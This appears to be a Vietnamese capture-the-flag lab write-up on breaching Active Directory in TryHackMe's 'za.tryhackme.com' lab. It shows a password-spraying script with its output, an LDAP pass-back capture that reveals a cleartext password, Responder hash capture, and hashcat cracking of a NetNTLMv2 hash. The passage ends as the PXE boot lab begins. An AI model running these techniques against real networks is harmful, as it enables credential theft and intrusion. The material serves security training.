Các bước thiết lập mạng

  1. Sử dụng đúng tập tin cấu hình OpenVPN của room để kết nối. Câu lệnh sau giúp chạy OpenVPN dưới dạng daemon (chạy ngầm) và ghi log ra tập tin /var/log/openvpn.log:
sudo openvpn --config <config-file>.opvn --daemon --log /var/log/openvpn.log

Expected: có thể ping được đến domain controller. 2. Thiết lập DNS server cho interface của room. Ví dụ:

export THMDCIP=10.10.x.x
systemd-resolve --interface breachad --set-dns $THMDCIP --set-domain za.tryhackme.com

Nếu không có systemd-resolve thì có thể dùng resolvectl với cú pháp có một chút khác biệt. 3. Thêm IP của domain controller (kiêm name server) vào file /etc/resolv.conf. Ví dụ:

nameserver 10.10.x.x

Expected: có thể phân giải domain thmdc.za.tryhackme.com thông qua câu lệnh nslookup hoặc dig.

Thiết lập DNS server đối với Windows

$dnsip = "<DC IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip

New Technology LAN Manager (NTLM)

Là bộ các giao thức bảo mật dùng để xác thực bên trong AD, cho phép các ứng dụng đóng vai trò như là man-in-the-middle giữa user và AD. Cụ thể, tất cả các authentication materials sẽ được chuyển tiếp đến DC và nếu DC trả về thành công thì ứng dụng mới xác thực user.

Nói cách khác, ứng dụng sẽ chỉ thực hiện việc xác thực user với DC chứ không xác thực với chính nó. Điều này giúp hạn chế vấn đề lưu trữ credentials ở trên ứng dụng.

NetNTLM là phiên bản mới của NTLM.

Các service sử dụng NetNTLM mà có công khai ra ngoài internet có thể bị tấn công. Kẻ tấn công có thể dùng các service này để kiểm tra credentials kiếm được hoặc cũng có thể dùng để kiếm credentials chẳng hạn như các địa chỉ email hợp lệ.

Password Spraying

Đa số các môi trường AD có cơ chế khóa tài khoản khi đăng nhập sai quá nhiều lần. Do đó, ta có thể sử dụng kỹ thuật password spraying. Đối với kỹ thuật này, thay vì thử nhiều password cho cùng một tài khoản thì sẽ thử nhiều tài khoản với cùng một password.

Warning

Cần chú ý rằng việc tấn công brute-force có thể sinh ra nhiều traffic và dễ bị phát hiện.

Lab

Script dùng để password spraying:

def password_spray(self, password, url):
    print ("[*] Starting passwords spray attack using the following password: " + password)
    #Reset valid credential counter
    count = 0
    #Iterate through all of the possible usernames
    for user in self.users:
        #Make a request to the website and attempt Windows Authentication
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
        #Read status code of response to determine if authentication was successful
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
            print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
            count += 1
            continue
        if (self.verbose):
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                print ("[-] Failed login with Username: " + user)
    print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

Thực hiện password spraying:

$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/                                               
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: samantha.thompson
[-] Failed login with Username: dawn.turner
[-] Failed login with Username: frances.chapman
[-] Failed login with Username: henry.taylor
[-] Failed login with Username: jennifer.wood
[+] Valid credential pair found! Username: hollie.powell Password: Changeme123
[-] Failed login with Username: louise.talbot
[+] Valid credential pair found! Username: heather.smith Password: Changeme123
[-] Failed login with Username: dominic.elliott
[+] Valid credential pair found! Username: gordon.stevens Password: Changeme123
[-] Failed login with Username: alan.jones
[-] Failed login with Username: frank.fletcher
[-] Failed login with Username: maria.sheppard
[-] Failed login with Username: sophie.blackburn
[-] Failed login with Username: dawn.hughes
[-] Failed login with Username: henry.black
[-] Failed login with Username: joanne.davies
[-] Failed login with Username: mark.oconnor
[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123
[*] Password spray attack completed, 4 valid credential pairs found

Lightweight Directory Access Protocol (LDAP)

Là một phương thức xác thực của Microsoft giống với NTLM nhưng nó cho phép bản thân ứng dụng cũng có thể xác thực. Để làm được điều đó, ứng dụng cần có các cặp credentials được gửi từ người dùng.

Quy trình:

Xác thực bằng LDAP rất phổ biến đối với các ứng dụng bên thứ 3, chẳng hạn như GitLab hoặc Jenkins.

Tương tự với NTLM, nếu các ứng dụng sử dụng LDAP được công khai ra internet thì kẻ tấn công có thể lợi dụng các kỹ thuật của NTLM để tấn công. Ngoài ra, do có credentials được lưu trữ ở trong ứng dụng, một khi bị tấn công, kẻ tấn công có thể đánh cắp được các AD credentials và dùng chúng để truy cập vào AD.

LDAP Pass-back

Một trong số những cách tấn công vào LDAP có tên là LDAP pass-back. Đây là kỹ thuật tấn công phổ biến vào các thiết bị mạng chẳng hạn như là máy in.

Trước tiên, ta cần truy cập được vào nơi để cấu hình LDAP chẳng hạn như là giao diện web của máy in. Khi đó, chúng ta có thể thay đổi địa chỉ IP hoặc hostname của LDAP server thành của một server giả mạo mà ta kiểm soát. Sau đó, ta sẽ ép thiết bị sử dụng server giả mạo của chúng ta để xác thực nhằm đánh cắp credentials được gửi đến.

Chúng ta sẽ sử dụng OpenLDAP để xây dựng một LDAP server hoạt động dưới dạng một tiến trình chạy ngầm. Ngoài các thiết lập thông thường, ta còn cần cấu hình sao cho LDAP không sử dụng mã hóa để có thể đọc được credentials ở dạng bản rõ.

$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

Lab

Note

Đối với bài lab này, chúng ta sẽ sử dụng Attack Box để thiết lập LDAP server sử dụng OpenLDAP bởi vì thiết lập OpenLDAP ở trên Arch hơi khó khăn 😭.

Truy cập trang thiết lập của máy in và thấy rằng ta có khả năng thay đổi cấu hình LDAP của nó.

Chạy một netcat listener ở port 389 bởi vì nó là port mặc định của LDAP.

Thay đổi giá trị địa chỉ IP thành máy của chúng ta và nhấn nút “Save settings”. Sau đó, nhấn nút “Test settings” và có một kết nối TCP được thiết lập với netcat listener: After that, we hit the “Test settings” button and the connection is made:

─❯ sudo nc -lvp 389                                                                                                                                                    
[sudo] password for aleister: 
Listening on 0.0.0.0 389
Connection received on 10.200.24.201 54809
0�Dc�;
 
x�
  objectclass0�supportedCapabilities0�P0�Fc�=
 
x�
  objectclass0�supportedSASLMechanisms

Giá trị supportedCapabilities cho biết rằng ta đang gặp vấn đề. Cụ thể, trước khi gửi credentials, máy in sẽ thiết lập cách xác thực với LDAP server (giống như cách mà TLS thiết lập các thuật toán) và một số loại xác thực sẽ mã hóa credentials. Vì vậy, ta cần cấu hình LDAP server giả mạo để đảm bảo có thể thấy được credentials dưới dạng bản rõ.

Sau khi cấu hình thì nhấn nút “Test settings” lại để capture traffic bằng tcpdump nhằm lấy credentials:

root@ip-10-10-122-203:~# sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on breachad, link-type RAW (Raw IP), capture size 262144 bytes
06:37:12.630382 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [SEW], seq 277412119, win 64240, options [mss 1289,nop,wscale 8,nop,nop,sackOK], length 0
        0x0000:  4502 0034 511d 4000 7f06 6eac 0ac8 14c9  E..4Q.@...n.....
        0x0010:  0a32 1236 ee7d 0185 1088 f917 0000 0000  .2.6.}..........
        0x0020:  80c2 faf0 3e6f 0000 0204 0509 0103 0308  ....>o..........
        0x0030:  0101 0402                                ....
06:37:12.630438 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [S.], seq 232938466, ack 277412120, win 64240, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
        0x0000:  4500 0034 0000 4000 4006 fecb 0a32 1236  E..4..@.@....2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5be2 1088 f918  .......}..[.....
        0x0020:  8012 faf0 d4af 0000 0204 05b4 0101 0402  ................
        0x0030:  0103 0307                                ....
06:37:12.631354 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [.], ack 232938467, win 8217, length 0
        0x0000:  4500 0028 511e 4000 7f06 6eb9 0ac8 14c9  E..(Q.@...n.....
        0x0010:  0a32 1236 ee7d 0185 1088 f918 0de2 5be3  .2.6.}........[.
        0x0020:  5010 2019 f059 0000                      P....Y..
06:37:12.631409 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [P.], seq 277412120:277412194, ack 232938467, win 8217, length 74
        0x0000:  4500 0072 511f 4000 7f06 6e6e 0ac8 14c9  E..rQ.@...nn....
        0x0010:  0a32 1236 ee7d 0185 1088 f918 0de2 5be3  .2.6.}........[.
        0x0020:  5018 2019 a0cc 0000 3084 0000 0044 0201  P.......0....D..
        0x0030:  0f63 8400 0000 3b04 000a 0100 0a01 0002  .c....;.........
        0x0040:  0100 0201 7801 0100 870b 6f62 6a65 6374  ....x.....object
        0x0050:  636c 6173 7330 8400 0000 1704 1573 7570  class0.......sup
        0x0060:  706f 7274 6564 4361 7061 6269 6c69 7469  portedCapabiliti
        0x0070:  6573                                     es
06:37:12.631420 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [.], ack 277412194, win 502, length 0
        0x0000:  4500 0028 b3c5 4000 4006 4b12 0a32 1236  E..(..@.@.K..2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5be3 1088 f962  .......}..[....b
        0x0020:  5010 01f6 0e33 0000                      P....3..
06:37:12.631715 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [P.], seq 232938467:232938478, ack 277412194, win 502, length 11
        0x0000:  4500 0033 b3c6 4000 4006 4b06 0a32 1236  E..3..@.@.K..2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5be3 1088 f962  .......}..[....b
        0x0020:  5018 01f6 c87d 0000 3009 0201 0f64 0404  P....}..0....d..
        0x0030:  0030 00                                  .0.
06:37:12.631737 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [P.], seq 232938478:232938492, ack 277412194, win 502, length 14
        0x0000:  4500 0036 b3c7 4000 4006 4b02 0a32 1236  E..6..@.@.K..2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5bee 1088 f962  .......}..[....b
        0x0020:  5018 01f6 bc95 0000 300c 0201 0f65 070a  P.......0....e..
        0x0030:  0100 0400 0400                           ......
06:37:12.636863 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [.], ack 232938492, win 8217, length 0
        0x0000:  4500 0028 5120 4000 7f06 6eb7 0ac8 14c9  E..(Q.@...n.....
        0x0010:  0a32 1236 ee7d 0185 1088 f962 0de2 5bfc  .2.6.}.....b..[.
        0x0020:  5010 2019 eff6 0000                      P.......
06:37:12.636903 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [P.], seq 277412194:277412270, ack 232938492, win 8217, length 76
        0x0000:  4500 0074 5121 4000 7f06 6e6a 0ac8 14c9  E..tQ!@...nj....
        0x0010:  0a32 1236 ee7d 0185 1088 f962 0de2 5bfc  .2.6.}.....b..[.
        0x0020:  5018 2019 6627 0000 3084 0000 0046 0201  P...f'..0....F..
        0x0030:  1063 8400 0000 3d04 000a 0100 0a01 0002  .c....=.........
        0x0040:  0100 0201 7801 0100 870b 6f62 6a65 6374  ....x.....object
        0x0050:  636c 6173 7330 8400 0000 1904 1773 7570  class0.......sup
        0x0060:  706f 7274 6564 5341 534c 4d65 6368 616e  portedSASLMechan
        0x0070:  6973 6d73                                isms
06:37:12.637083 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [P.], seq 232938492:232938546, ack 277412270, win 502, length 54
        0x0000:  4500 005e b3c8 4000 4006 4ad9 0a32 1236  E..^..@.@.J..2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5bfc 1088 f9ae  .......}..[.....
        0x0020:  5018 01f6 3122 0000 3034 0201 1064 2f04  P...1"..04...d/.
        0x0030:  0030 2b30 2904 1773 7570 706f 7274 6564  .0+0)..supported
        0x0040:  5341 534c 4d65 6368 616e 6973 6d73 310e  SASLMechanisms1.
        0x0050:  0405 4c4f 4749 4e04 0550 4c41 494e       ..LOGIN..PLAIN
06:37:12.637099 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [P.], seq 232938546:232938560, ack 277412270, win 502, length 14
        0x0000:  4500 0036 b3c9 4000 4006 4b00 0a32 1236  E..6..@.@.K..2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5c32 1088 f9ae  .......}..\2....
        0x0020:  5018 01f6 bb05 0000 300c 0201 1065 070a  P.......0....e..
        0x0030:  0100 0400 0400                           ......
06:37:12.638063 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [.], ack 232938560, win 8217, length 0
        0x0000:  4500 0028 5122 4000 7f06 6eb5 0ac8 14c9  E..(Q"@...n.....
        0x0010:  0a32 1236 ee7d 0185 1088 f9ae 0de2 5c40  .2.6.}........\@
        0x0020:  5010 2019 ef66 0000                      P....f..
06:37:12.638777 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [P.], seq 277412270:277412344, ack 232938560, win 8217, length 74
        0x0000:  4500 0072 5123 4000 7f06 6e6a 0ac8 14c9  E..rQ#@...nj....
        0x0010:  0a32 1236 ee7d 0185 1088 f9ae 0de2 5c40  .2.6.}........\@
        0x0020:  5018 2019 9dd9 0000 3084 0000 0044 0201  P.......0....D..
        0x0030:  1163 8400 0000 3b04 000a 0100 0a01 0002  .c....;.........
        0x0040:  0100 0201 7801 0100 870b 6f62 6a65 6374  ....x.....object
        0x0050:  636c 6173 7330 8400 0000 1704 1573 7570  class0.......sup
        0x0060:  706f 7274 6564 4361 7061 6269 6c69 7469  portedCapabiliti
        0x0070:  6573                                     es
06:37:12.638882 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [P.], seq 232938560:232938571, ack 277412344, win 502, length 11
        0x0000:  4500 0033 b3ca 4000 4006 4b02 0a32 1236  E..3..@.@.K..2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5c40 1088 f9f8  .......}..\@....
        0x0020:  5018 01f6 c58a 0000 3009 0201 1164 0404  P.......0....d..
        0x0030:  0030 00                                  .0.
06:37:12.638897 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [P.], seq 232938571:232938585, ack 277412344, win 502, length 14
        0x0000:  4500 0036 b3cb 4000 4006 4afe 0a32 1236  E..6..@.@.J..2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5c4b 1088 f9f8  .......}..\K....
        0x0020:  5018 01f6 b9a2 0000 300c 0201 1165 070a  P.......0....e..
        0x0030:  0100 0400 0400                           ......
06:37:12.639724 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [.], ack 232938585, win 8216, length 0
        0x0000:  4500 0028 5124 4000 7f06 6eb3 0ac8 14c9  E..(Q$@...n.....
        0x0010:  0a32 1236 ee7d 0185 1088 f9f8 0de2 5c59  .2.6.}........\Y
        0x0020:  5010 2018 ef04 0000                      P.......
06:37:12.640157 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [P.], seq 277412344:277412410, ack 232938585, win 8216, length 66
        0x0000:  4500 006a 5125 4000 7f06 6e70 0ac8 14c9  E..jQ%@...np....
        0x0010:  0a32 1236 ee7d 0185 1088 f9f8 0de2 5c59  .2.6.}........\Y
        0x0020:  5018 2018 0c58 0000 3084 0000 003c 0201  P....X..0....<..
        0x0030:  1260 8400 0000 3302 0103 0404 4e54 4c4d  .`....3.....NTLM
        0x0040:  8a28 4e54 4c4d 5353 5000 0100 0000 0782  .(NTLMSSP.......
        0x0050:  08a2 0000 0000 0000 0000 0000 0000 0000  ................
        0x0060:  0000 0a00 6345 0000 000f                 ....cE....
06:37:12.640298 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61053: Flags [P.], seq 232938585:232938609, ack 277412410, win 502, length 24
        0x0000:  4500 0040 b3cc 4000 4006 4af3 0a32 1236  E..@..@.@.J..2.6
        0x0010:  0ac8 14c9 0185 ee7d 0de2 5c59 1088 fa3a  .......}..\Y...:
        0x0020:  5018 01f6 b96e 0000 3016 0201 1261 110a  P....n..0....a..
        0x0030:  0122 0400 040a 696e 7661 6c69 6420 444e  ."....invalid.DN
06:37:12.642047 IP ip-10-200-20-201.eu-west-1.compute.internal.61054 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [SEW], seq 2349216841, win 64240, options [mss 1289,nop,wscale 8,nop,nop,sackOK], length 0
        0x0000:  4502 0034 5126 4000 7f06 6ea3 0ac8 14c9  E..4Q&@...n.....
        0x0010:  0a32 1236 ee7e 0185 8c06 3449 0000 0000  .2.6.~....4I....
        0x0020:  80c2 faf0 87be 0000 0204 0509 0103 0308  ................
        0x0030:  0101 0402                                ....
06:37:12.642086 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61054: Flags [S.], seq 768173243, ack 2349216842, win 64240, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
        0x0000:  4500 0034 0000 4000 4006 fecb 0a32 1236  E..4..@.@....2.6
        0x0010:  0ac8 14c9 0185 ee7e 2dc9 64bb 8c06 344a  .......~-.d...4J
        0x0020:  8012 faf0 f53e 0000 0204 05b4 0101 0402  .....>..........
        0x0030:  0103 0307                                ....
06:37:12.642839 IP ip-10-200-20-201.eu-west-1.compute.internal.61054 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [.], ack 768173244, win 8217, length 0
        0x0000:  4500 0028 5127 4000 7f06 6eb0 0ac8 14c9  E..(Q'@...n.....
        0x0010:  0a32 1236 ee7e 0185 8c06 344a 2dc9 64bc  .2.6.~....4J-.d.
        0x0020:  5010 2019 10e9 0000                      P.......
06:37:12.642932 IP ip-10-200-20-201.eu-west-1.compute.internal.61054 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [P.], seq 2349216842:2349216907, ack 768173244, win 8217, length 65
        0x0000:  4500 0069 5128 4000 7f06 6e6e 0ac8 14c9  E..iQ(@...nn....
        0x0010:  0a32 1236 ee7e 0185 8c06 344a 2dc9 64bc  .2.6.~....4J-.d.
        0x0020:  5018 2019 3303 0000 3084 0000 003b 0201  P...3...0....;..
        0x0030:  1360 8400 0000 3202 0102 0418 7a61 2e74  .`....2.....za.t
        0x0040:  7279 6861 636b 6d65 2e63 6f6d 5c73 7663  ryhackme.com\svc
        0x0050:  4c44 4150 8013 7472 7968 6163 6b6d 656c  LDAP..tryhackmel
        0x0060:  6461 7070 6173 7331 40                   dappass1@
06:37:12.642942 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61054: Flags [.], ack 2349216907, win 502, length 0
        0x0000:  4500 0028 e1b4 4000 4006 1d23 0a32 1236  E..(..@.@..#.2.6
        0x0010:  0ac8 14c9 0185 ee7e 2dc9 64bc 8c06 348b  .......~-.d...4.
        0x0020:  5010 01f6 2ecb 0000                      P.......
06:37:12.643212 IP ip-10-50-18-54.eu-west-1.compute.internal.ldap > ip-10-200-20-201.eu-west-1.compute.internal.61054: Flags [P.], seq 768173244:768173268, ack 2349216907, win 502, length 24
        0x0000:  4500 0040 e1b5 4000 4006 1d0a 0a32 1236  E..@..@.@....2.6
        0x0010:  0ac8 14c9 0185 ee7e 2dc9 64bc 8c06 348b  .......~-.d...4.
        0x0020:  5018 01f6 da54 0000 3016 0201 1361 110a  P....T..0....a..
        0x0030:  0122 0400 040a 696e 7661 6c69 6420 444e  ."....invalid.DN
06:37:12.662201 IP ip-10-200-20-201.eu-west-1.compute.internal.61054 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [.], ack 768173268, win 8217, length 0
        0x0000:  4500 0028 512b 4000 7f06 6eac 0ac8 14c9  E..(Q+@...n.....
        0x0010:  0a32 1236 ee7e 0185 8c06 348b 2dc9 64d4  .2.6.~....4.-.d.
        0x0020:  5010 2019 1090 0000                      P.......
06:37:12.662239 IP ip-10-200-20-201.eu-west-1.compute.internal.61053 > ip-10-50-18-54.eu-west-1.compute.internal.ldap: Flags [.], ack 232938609, win 8216, length 0
        0x0000:  4500 0028 512c 4000 7f06 6eab 0ac8 14c9  E..(Q,@...n.....
        0x0010:  0a32 1236 ee7d 0185 1088 fa3a 0de2 5c71  .2.6.}.....:..\q
        0x0020:  5010 2018 eeaa 0000                      P.......
^C
26 packets captured
26 packets received by filter
0 packets dropped by kernel

Vậy password là tryhackmeldappass1@.

Authentication Relays

LLMNR, NBT-NS, and WPAD

Trong các mạng Windows lớn, các giao thức Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS) và Web Proxy Auto-Discovery (WPAD) cho phép các host có thể tự thực hiện phân giải DNS nhằm giảm tải cho các DNS server. Cụ thể, các host có thể xác định xem một host nào đó có trong ở mạng nội bộ hay không bằng cách gửi một LLMNR request và xem có một host nào phản hồi hay không. NBT-NS là tiền thân của LLMNR còn WPAD được dùng để tìm một proxy cho các kết nối HTTP(s) trong tương lai.

Công cụ Responder được dùng để đầu độc các request của LLMNR, NBT-NS và WPAD ở trong mạng nội bộ. Cụ thể, Responder sẽ thực hiện tấn công Man-in-the-Middle bằng cách liên tục lắng nghe các request gửi đến và gửi lại các response giả mạo nhằm đánh lừa người dùng thực hiện xác thực. Bằng cách này, chúng ta có thể thu được credentials trong quá trình xác thực. Ngoài các giao thức trên, Responder còn host một số server chẳng hạn như SMB, HTTP và SQL.

Warning

Việc sử dụng Responder có thể dễ bị phát hiện do nó làm gián đoạn quá trình xác thực của các host có trong mạng.

Relaying the Challenge

Trong một số trường hợp, chúng ta có thể chuyển tiếp các NTLM challenge thay vì chỉ capture chúng.

Cách tấn công này phụ thuộc vào một số điều kiện như sau:

  • SMB signing phải bị disabled hoặc có enabled nhưng không bị ép buộc. Lý do là vì khi thực hiện chuyển tiếp, chúng ta cần thay đổi request một chút và nếu SMB signing được enabled thì server sẽ từ chối reject do signature không khớp.
  • Tài khoản mà ta thực hiện relay cần phải có một số quyền quản trị nhất định.

Lab

Chạy Responder trên interface breadad:

sudo responder -I breachad

Sau một khoảng thời gian thì capture được NTLM hash thông qua giao thức SMB:

[SMB] NTLMv2-SSP Client   : ::ffff:10.200.20.202
[SMB] NTLMv2-SSP Username : ZA\svcFileCopy
[SMB] NTLMv2-SSP Hash     : svcFileCopy::ZA:68280a55d8487b60:72636252AD17DFBB9FA02A35B3D90456:010100000000000080C279CEBD0CDB015AC15CD3E37B419A00000000020008004F00350050004E0001001E00570049004E002D0052005A0037005600430052004300380039005800430004003400570049004E002D0052005A003700560043005200430038003900580043002E004F00350050004E002E004C004F00430041004C00030014004F00350050004E002E004C004F00430041004C00050014004F00350050004E002E004C004F00430041004C000700080080C279CEBD0CDB0106000400020000000800300030000000000000000000000000200000340C45E3C5A0A268AE4C7438F1D0FAC726BF562D92D9E51B06BEC82A4C45E8030A001000000000000000000000000000000000000900200063006900660073002F00310030002E00350030002E00310038002E00350034000000000000000000
[SMB] NTLMv2-SSP Client   : ::ffff:10.200.20.202
[SMB] NTLMv2-SSP Username : ZA\svcFileCopy
[SMB] NTLMv2-SSP Hash     : svcFileCopy::ZA:64023a60ceb535d5:BC7CB8A4E7028AA8A9262E6A499FE085:0101000000000000802C9492C00CDB01FAE357C0AEF5DDD00000000002000800590038005100350001001E00570049004E002D004900390057004A004A0057005600560042003900450004003400570049004E002D004900390057004A004A005700560056004200390045002E0059003800510035002E004C004F00430041004C000300140059003800510035002E004C004F00430041004C000500140059003800510035002E004C004F00430041004C0007000800802C9492C00CDB0106000400020000000800300030000000000000000000000000200000340C45E3C5A0A268AE4C7438F1D0FAC726BF562D92D9E51B06BEC82A4C45E8030A001000000000000000000000000000000000000900200063006900660073002F00310030002E00350030002E00310038002E00350034000000000000000000

Dùng hashcat để crack NTLM hash:

root@ip-10-10-108-100:~# hashcat -m 5600 ntlm.hash /root/Rooms/BreachingAD/task5/passwordlist.txt --force
hashcat (v6.1.1-66-g6a419d06) starting...
 
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]
==================================================================
* Device #1: AMD EPYC 7571, 3832/3896 MB (974 MB allocatable), 2MCU
 
OpenCL API (OpenCL 1.2 pocl 1.1 None+Asserts, LLVM 6.0.0, SPIR, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
===========================================================================================================================
* Device #2: pthread-AMD EPYC 7571, skipped
 
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
 
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
 
Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
 
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
 
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
 
Host memory required for this attack: 0 MB
 
Dictionary cache built:
* Filename..: /root/Rooms/BreachingAD/task5/passwordlist.txt
* Passwords.: 513
* Bytes.....: 4010
* Keyspace..: 513
* Runtime...: 0 secs
 
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
 
Approaching final keyspace - workload adjusted.
 
SVCFILECOPY::ZA:64023a60ceb535d5:bc7cb8a4e7028aa8a9262e6a499fe085:0101000000000000802c9492c00cdb01fae357c0aef5ddd00000000002000800590038005100350001001e00570049004e002d004900390057004a004a0057005600560042003900450004003400570049004e002d004900390057004a004a005700560056004200390045002e0059003800510035002e004c004f00430041004c000300140059003800510035002e004c004f00430041004c000500140059003800510035002e004c004f00430041004c0007000800802c9492c00cdb0106000400020000000800300030000000000000000000000000200000340c45e3c5a0a268ae4c7438f1d0fac726bf562d92d9e51b06bec82a4c45e8030a001000000000000000000000000000000000000900200063006900660073002f00310030002e00350030002e00310038002e00350034000000000000000000:FPassword1!
 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: SVCFILECOPY::ZA:64023a60ceb535d5:bc7cb8a4e7028aa8a9...000000
Time.Started.....: Sun Sep 22 07:33:14 2024, (0 secs)
Time.Estimated...: Sun Sep 22 07:33:14 2024, (0 secs)
Guess.Base.......: File (/root/Rooms/BreachingAD/task5/passwordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   479.6 kH/s (0.86ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 513/513 (100.00%)
Rejected.........: 0/513 (0.00%)
Restore.Point....: 0/513 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> hockey
 
Started: Sun Sep 22 07:32:31 2024
Stopped: Sun Sep 22 07:33:16 2024

Vậy, password là: FPassword1!.

Microsoft Deployment Toolkit and PXE Boot

MDT and SCCM

Microsoft Deployment Toolkit (MDT) là một service của Microsoft hỗ trợ việc tự động triển khai các hệ điều hành. Thông thường, MDT được tích hợp với Microsoft’s System Center Configuration Manager (SCCM), là một công cụ dùng để quản lý các bản cập nhật cho các ứng dụng, service và hệ điều hành của Microsoft.

PXE Boot

Preboot execution environment (PXE) (đọc là pixie) là một tập các tiêu chuẩn cho phép một máy tính có thể tải hệ điều hành thông qua một kết nối mạng. Các tập đoàn lớn sử dụng PXE boot để cho phép các thiết bị mới có thể nạp và tải hệ điều hành trực tiếp từ một kết nối mạng.

PXE boot thường được tích hợp với DHCP. Cụ thể, nếu DHCP gán một IP lease (thời hạn cho thuê IP) cho một host thì host đó được phép yêu cầu PXE boot image và bắt đầu quá trình cài đặt OS thông qua mạng. Sau đó, host sẽ dùng giao thức TFTP để tải PXE boot image.

Chúng ta có thể khai thác PXE boot thông qua 2 attack vector:

  1. Chèn vào một tài khoản local Administrator để có quyền quản trị của hệ điều hành khi quá trình PXE boot được hoàn thành.
  2. Sử dụng password scraping attack để khôi phục AD credentials trong quá trình cài đặt hệ điều hành.

PXE Boot Image Retrieval

Thông tin đầu tiên nhận được trong quá trình PXE boot thông qua DHCP là IP của MDT server. Thông tin thứ hai là tên của các tập tin BCD. Các tập tin này lưu trữ các thông tin liên quan đến các PXE boot cho các loại kiến trúc khác nhau.

Lab

Note

Lab này sẽ sử dụng attack vector thứ 2 của PXE boot.

